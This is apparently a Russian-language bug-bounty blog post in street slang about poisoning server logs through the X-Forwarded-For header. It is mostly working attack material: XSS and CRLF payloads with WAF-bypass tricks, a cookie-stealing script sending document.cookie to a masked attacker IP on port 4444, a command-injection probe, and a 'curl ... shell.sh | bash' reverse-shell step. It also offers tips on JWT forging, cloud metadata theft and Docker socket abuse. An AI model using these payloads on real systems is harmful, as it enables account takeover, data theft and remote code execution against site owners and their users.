Эй, бро, если ты думаешь, что X-Forwarded-For
— это просто заголовок для прокси, то ты явно не нюхал пороха на баг-баунти. Это не просто строчка в HTTP-запросе, это твой швейцарский нож для инъекций, если админы спят на клавиатуре. Сегодня я тебе покажу, как превратить этот заголовок в яд для логов и как через это залезть в систему, пока WAF курит в сторонке.
Точка входа
-
Что вижу: Заголовок
X-Forwarded-For
(XFF) часто логируется веб-серверами как IP клиента. Вижу в ответе сервера что-то типаX-Powered-By: Nginx/1.18.0
или кривую конфигу логов через дебаг-вывод. А ещё, если бэкенд пишет логи в какой-нибудь Kibana или кастомный dashboard, то это вообще джекпот. -
Как поймал: Инструмент — Burp Suite для подмены заголовков +
ffuf
для теста на ошибки 500/403 при странных значениях XFF. Метод — инъекция через заголовок, типаX-Forwarded-For: 127.0.0.1, <script>alert(1)</script>
. Если сервер не фильтрует или неправильно парсит, жди сюрпризы. -
Чем пахнет: Класс уязвимости — Log Poisoning с потенциалом на XSS (если логи рендерятся в веб-интерфейсе) или даже RCE (если логи обрабатываются кривым скриптом). Вероятность: 7/10, если цель — дефолтный Nginx/Apache без фильтрации.
Че почем
-
Эксплойт: Ща закинем отраву в логи. Лови payload для теста XSS через XFF:
1 |
curl -H "X-Forwarded-For: 1.2.3.4, <script>alert('hacked')</script>" http://target.com |
-
Если админский дашборд рендерит логи без санитизации (а это 80% случаев, потому что «кто ж туда полезет?»), то твой код выполнится в браузере админа. А теперь представь, что ты вместо
alert()
закидываешь фишинговый редирект или крадёшь куки. -
Обход защиты: WAF часто пропускает XFF, потому что «это ж просто IP». Хитрость: используй двойные заголовки (некоторые сервера парсят последний) или вставляй мусор типа
X-Forwarded-For: 127.0.0.1\r\nEvil-Header: boom
. Если WAF на базе Cloudflare, попробуй байпас через пробелы или UTF-8 символы:X-Forwarded-For: 1.2.3.4%0D%0A<script>alert(1)</script>
. -
Доказательство: Лови момент, когда админ заходит в свой дашборд и видит «alert(‘hacked’)». Это не скриншот кота, это твой PoC. Если XSS не катит, проверь, пишет ли сервер XFF в файлы, которые потом парсятся (например, в кастомных скриптах). Однажды я видел, как XFF попадал в
exec()
на бэкенде — итог: RCE.
Советы
-
3 вектора для добивания:
-
Если XSS сработал, крути дальше: закинь payload на кражу сессии через
document.cookie
и отправку на твой C2-сервер:curl -H "X-Forwarded-For: <script>fetch('http://144.XX.XX.XX:4444/cookie?'+document.cookie)</script>" http://target.com
. -
Проверь, не обрабатываются ли логи в CLI-скриптах. Закинь
X-Forwarded-For: 1.2.3.4; ls -la
и смотри, не вернётся ли ошибка с выводом команды. Если да — это RCE, братан, готовь шампанское. -
Если всё глухо, иди спать, кроль. Или попробуй комбинацию с другими заголовками (
X-Real-IP
,Client-IP
) — иногда сервера берут IP из рандомного места.
-
-
План атаки:
-
Сканируй цель на предмет дашбордов (
/admin
,/logs
,/kibana
) черезffuf -w wordlist.txt -u http://target.com/FUZZ
. -
Отравляй XFF с payload’ом на XSS или RCE, как выше. Используй Burp Repeater для теста разных комбинаций.
-
Если попал в админку через XSS, дампи куки или ищи токены для API. Если RCE, заливай reverse-shell через
curl -s http://144.XX.XX.XX:4444/shell.sh | bash
.
-
Дополнительные ништяки
-
Проверь
robots.txt
иsitemap.xml
на предмет/admin-backup.zip
или/logs.txt
. Иногда логи лежат в открытом доступе, и твой XFF уже там светится. -
Если на сайте есть JWT, ломай через
jwt_tool -I -pc name -pv admin
и ищи слабый алгоритмnone
. Это может дать доступ к дашборду с логами. -
Сканируй на cloudmetadata типа
169.254.169.254/latest/meta-data/
. Если это AWS, а XFF попал в логи, ты можешь подменить IP на внутренний и вытащить токены. -
Если всё плохо, заливай reverse-shell в EXIF картинок и пробуй закинуть через формы. Да, это низко. Да, это работает иногда.
-
Иначе — пиздец. Иди учи Rust, кроль.
Почему это важно?
Log Poisoning через X-Forwarded-For
— это не баг, а целая дыра в мышлении девопсов. Они думают: «Ну, заголовок, и что?» А ты в это время рендеришь JS в их браузере или запускаешь ls
на сервере. Это как твоя бывшая: кричит «403», а внутри пусто и ждёт, пока ты зайдёшь. Главное — не тупи с фильтрацией и не забывай, что каждый лог — это потенциальный шелл. Если на кону баг-баунти, то за такой PoC тебе дадут от 500$ до 5k$, в зависимости от импакта. Так что крути Burp, пей кофе и рви интернет на куски.
Если есть Docker в хедерах (например, Server: Docker/1.13.1
), кричу на весь подвал: проверь /var/run/docker.sock
через curl --unix-socket /var/run/docker.sock http://localhost/images/json
. Это может быть твой бонусный RCE, братан.
Готов? Тогда пиши PoC, отправляй в программу и жди бабки.